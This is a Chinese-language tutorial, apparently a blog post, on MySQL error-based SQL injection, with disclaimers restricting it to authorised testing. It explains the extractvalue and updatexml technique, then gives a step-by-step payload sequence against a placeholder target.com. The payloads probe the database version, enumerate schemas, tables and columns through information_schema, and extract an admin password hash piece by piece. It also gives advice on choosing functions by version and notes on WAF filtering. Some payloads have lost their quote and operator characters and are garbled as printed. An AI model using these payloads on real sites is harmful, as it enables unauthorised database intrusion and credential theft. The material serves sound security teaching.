5-数据库-SQL注入-报错注入-day13

发布时间:2026/8/2 6:41:44
5-数据库-SQL注入-报错注入-day13 MySQL 报错注入 — 原理与注入流程⚠️ 免责声明本文旨在教学网络安全知识帮助开发者理解SQL注入漏洞原理及防御方法。所有技术内容仅用于授权测试和安全研究严禁用于任何非法攻击或未经授权的渗透测试。读者应遵守法律法规因不当使用本文知识造成的后果自负。 目录导航一、报错注入的本质原理二、前置条件错误回显方式三、报错注入完整流程四、报错注入 vs 联合查询注入对比五、报错注入的局限性本文档系统讲解报错注入的核心原理、前置条件、完整注入流程及实战注意事项。适用于安全研究和授权测试。一、报错注入的本质原理报错注入的本质是故意调用一个对参数有严格要求的 MySQL 函数把想窃取的数据拼进那个会触发错误的参数里让 MySQL 在报错信息中把数据带回页面。1.1 正常查询 vs 报错注入正常查询的数据流用户输入 → 拼接进SQL → MySQL执行 → 结果集返回 → 页面展示数据联合查询注入依赖回显位——页面必须把查询结果打印出来。但如果页面不展示查询结果只展示错误信息呢联合查询就失效了而报错注入正是在这种场景下发挥作用。报错注入的数据流用户输入(含恶意函数) → 拼接进SQL → MySQL执行报错 → 错误信息中携带数据 → 页面展示错误1.2 报错注入的核心三步整个攻击可以拆解为三步找到注入点确认用户输入能被拼接到 SQL 语句中执行构造报错函数调用在原语句的参数位置嵌入报错函数如extractvalue、updatexml把目标数据塞进报错函数的参数从错误信息中提取数据MySQL 报错时会把非法参数的内容原样显示在错误信息中1.3 一个最小示例-- 假设原SQL语句为SELECT*FROMusersWHEREid$id-- 正常请求?id1-- SQL: SELECT * FROM users WHERE id 1-- 报错注入请求?id1 AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))-- -- 实际执行的SQL SELECT * FROM users WHERE id 1 AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))-- 执行结果ERROR 1105 (HY000): XPATH syntax error: ~8.0.28~MySQL 在报错信息中原样输出了~8.0.28~其中8.0.28就是version()的返回值。0x7e是~的十六进制用作数据标识符方便从错误信息中定位提取。1.4 报错注入的原理拆解以extractvalue()为例深入理解原理extractvalue(xml_document, xpath_string)函数的设计用途是从 XML 文档中提取 XPath 指定位置的值。第二个参数必须是合法的 XPath 路径表达式。当传入非法 XPath 时MySQL 会报错并把非法的 XPath 字符串原样显示在错误信息中。-- 正常用途从XML中提取值SELECTextractvalue(abhello/b/a,/a/b/text());-- 结果hello-- 注入用途第二个参数传非法XPath触发报错SELECTextractvalue(1,concat(0x7e,(SELECTuser()),0x7e));-- 结果ERROR 1105 (HY000): XPATH syntax error: ~rootlocalhost~攻击者利用的正是错误信息会原样回显参数内容这一特性。通过concat()把~ 目标数据 ~拼成非法 XPathMySQL 就会在报错时把数据带出来。┌──────────────────────────────────────────────────────────┐ │ 报错注入原理图 │ ├──────────────────────────────────────────────────────────┤ │ │ │ 攻击者构造的Payload: │ │ extractvalue(1, concat(0x7e, (SELECT password │ │ FROM users LIMIT 0,1), 0x7e)) │ │ │ │ ┌──────────┐ ┌───────────┐ ┌──────────┐ │ │ │ concat() │───▶│ 拼接结果 │───▶│ 非法XPath│ │ │ └──────────┘ │~5f4dcc3..~│ └────┬─────┘ │ │ └───────────┘ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ MySQL报错 │ │ │ │ XPATH error │ │ │ │ ~5f4dcc3..~ │ │ │ └──────┬──────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ 页面错误回显 │ │ │ │ 攻击者读取 │ │ │ └─────────────┘ │ │ │ └──────────────────────────────────────────────────────────┘二、前置条件错误回显方式报错注入能成功的前提条件是页面必须把 MySQL 的错误信息显示出来。根据后端错误处理机制的不同错误回显分为四种情况错误回显方式说明报错注入可行性完整错误显示详细错误信息如XPATH syntax error: ~data~✅ 最佳报错注入首选简略错误只显示错误代码如Error: 1105⚠️ 无法直接获取数据自定义错误应用自定义的错误页面如系统繁忙❌ 报错注入无效无错误完全不显示任何错误信息❌ 报错注入无效2.1 PHP 中的错误处理模式// 模式1完整错误回显报错注入可利用$connmysqli_connect(localhost,root,password,shop_db);$resultmysqli_query($conn,$sql);if(!$result){// 直接输出MySQL错误信息——报错注入可利用echoError: .mysqli_error($conn);}// 模式2简略错误不可利用if(!$result){echoError: .mysqli_errno($conn);// 只输出错误号}// 模式3自定义错误不可利用if(!$result){echo系统繁忙请稍后重试;// 自定义消息}// 模式4静默错误不可利用if(!$result){// 不输出任何信息错误只写日志error_log(mysqli_error($conn));}2.2 判断目标是否支持报错注入发送一个简单的报错测试 Payload观察页面响应-- 测试Payload不携带敏感数据仅验证报错回显?id1ANDextractvalue(1,concat(0x7e,1,0x7e))--如果页面出现类似XPATH syntax error: ~1~的错误信息说明目标支持报错注入。如果只显示通用错误页面或无任何输出则需要切换到盲注。三、报错注入完整流程发现注入点 → 确认错误回显 → 判断闭合方式 → 探测版本选函数 → 获取基础信息 → 枚举库/表/列 → 拖取数据Step 1发现注入点与联合查询注入相同首先确认用户输入能被拼接到 SQL 语句中执行。-- 测试单引号 http://target.com/news.php?id1 -- 如果报错 You have an error in your SQL syntax... → 存在注入 -- 测试逻辑真假 http://target.com/news.php?id1 AND 11-- -- 页面正常 http://target.com/news.php?id1 AND 12-- -- 页面异常/空Step 2确认错误回显方式发送报错测试 Payload确认页面是否回显 MySQL 错误信息http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, 1, 0x7e))--页面响应判断显示XPATH syntax error: ~1~✅ 完整错误回显可报错注入显示Error: 1105⚠️ 简略错误需换函数或换注入方式显示 “系统繁忙”❌ 自定义错误报错注入无效页面无变化❌ 无错误回显需盲注Step 3判断闭合方式与联合查询注入完全相同通过加引号或括号测试闭合方式。-- 数字型 http://target.com/news.php?id1 AND 11-- -- 正常 http://target.com/news.php?id1 AND 12-- -- 异常 -- 单引号型 http://target.com/news.php?id1 AND 11-- -- 正常 http://target.com/news.php?id1 AND 12-- -- 异常 -- 单引号括号型 http://target.com/news.php?id1) AND 11-- -- 正常报错注入与联合查询的闭合差异报错注入不需要让原查询返回空不需要负 ID 或AND 12。因为报错注入的数据不是通过查询结果回显的而是通过错误信息回显的。原查询返回什么数据不影响报错信息的输出。Step 4探测版本选择报错函数报错注入的第一条 Payload 应该是探测版本——这决定了后续使用哪些报错函数。-- 用 extractvalue 探版本一石二鸟既验证函数可用性又获取版本号 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, version(), 0x7e))--预期结果XPATH syntax error: ~5.7.28~拿到版本号后按以下决策树选择报错函数version() 返回 5.0 及以下 → floor(rand(0)*2) count() group by可用但构造繁琐 → extractvalue / updatexml 不可用5.1之前未引入 version() 返回 5.1 - 5.7 → extractvalue() / updatexml()首选简单稳定 → 备选floor(rand(0)*2)、几何函数、exp() version() 返回 8.0.0 - 8.0.27 → 先试 extractvalue() / updatexml() → 失败则切到几何函数multipoint / geometrycollection version() 返回 8.0.28 → extractvalue() / updatexml() 大概率被禁 → 几何函数是首选 → floor(rand()) 已失效 → 准备布尔盲注 / 时间盲注作为保底Step 5获取基础信息确认函数可用后获取数据库指纹信息-- 获取数据库名 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, database(), 0x7e))-- -- 结果XPATH syntax error: ~shop_db~ -- 获取当前用户 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, user(), 0x7e))-- -- 结果XPATH syntax error: ~rootlocalhost~ -- 获取操作系统 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, version_compile_os, 0x7e))-- -- 结果XPATH syntax error: ~Linux~Step 6枚举库/表/列利用information_schema系统库枚举数据库结构。报错注入与联合查询在枚举逻辑上完全相同区别仅在于数据是通过错误信息回显的。-- 获取所有数据库名 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata), 0x7e))-- -- 结果XPATH syntax error: ~information_schema,shop_db,mysql~ -- 获取当前库的所有表名 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 0x7e))-- -- 结果XPATH syntax error: ~users,products,orders,config~ -- 获取 users 表的所有列名 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers), 0x7e))-- -- 结果XPATH syntax error: ~id,username,password,email,created~ -- 注意32字符截断可能只返回部分列名Step 7拖取数据从目标表中提取敏感数据-- 获取 admin 用户名和密码 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, (SELECT CONCAT(username, :, password) FROM users WHERE usernameadmin LIMIT 0,1), 0x7e))-- -- 结果XPATH syntax error: ~admin:5f4dcc3b5aa765d61d8327~ -- 长数据分段提取32字符限制 http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, SUBSTR((SELECT password FROM users WHERE usernameadmin LIMIT 0,1), 1, 30), 0x7e))-- -- 结果XPATH syntax error: ~5f4dcc3b5aa765d61d8327deb882cf~ http://target.com/news.php?id1 AND extractvalue(1, concat(0x7e, SUBSTR((SELECT password FROM users WHERE usernameadmin LIMIT 0,1), 31, 30), 0x7e))-- -- 结果XPATH syntax error: ~99~ -- 拼接完整密码5f4dcc3b5aa765d61d8327deb882cf99四、报错注入 vs 联合查询注入对比对比维度联合查询注入报错注入前提条件页面有查询结果回显位页面有错误信息回显需要判断列数✅ 必须ORDER BY 探测❌ 不需要需要找回显位✅ 必须负 ID 法等❌ 不需要需要让原查询为空✅ 必须id-1 或 AND 12❌ 不需要数据回显方式查询结果集中回显错误信息中回显数据长度限制GROUP_CONCAT 1024字节extractvalue/updatexml 32字符floor/几何函数无限制适用页面类型有数据展示位的页面有错误信息展示的页面复杂度中等多步探测较低闭合→函数→数据核心区别联合查询注入需要页面有正常数据展示位报错注入只需要页面有错误信息展示。两者互补——如果页面既显示数据又显示错误两种方法都可以用如果页面只显示错误不显示数据只能用报错注入如果两者都不显示只能用盲注。五、报错注入的局限性依赖错误回显如果应用层屏蔽了数据库错误生产环境最佳实践报错注入完全失效32 字符限制extractvalue()和updatexml()的报错回显最多 32 字符长数据必须用SUBSTR()分段提取增加请求次数版本依赖性强不同 MySQL 版本下函数可用性差异大8.0 对报错注入极不友好WAF 拦截报错函数名extractvalue、updatexml和information_schema是 WAF 重点拦截对象噪音大报错注入会在数据库日志中留下大量错误记录容易被运维发现⚠️ 免责声明本文旨在教学网络安全知识帮助开发者理解SQL注入漏洞原理及防御方法。所有技术内容仅用于授权测试和安全研究严禁用于任何非法攻击或未经授权的渗透测试。读者应遵守法律法规因不当使用本文知识造成的后果自负。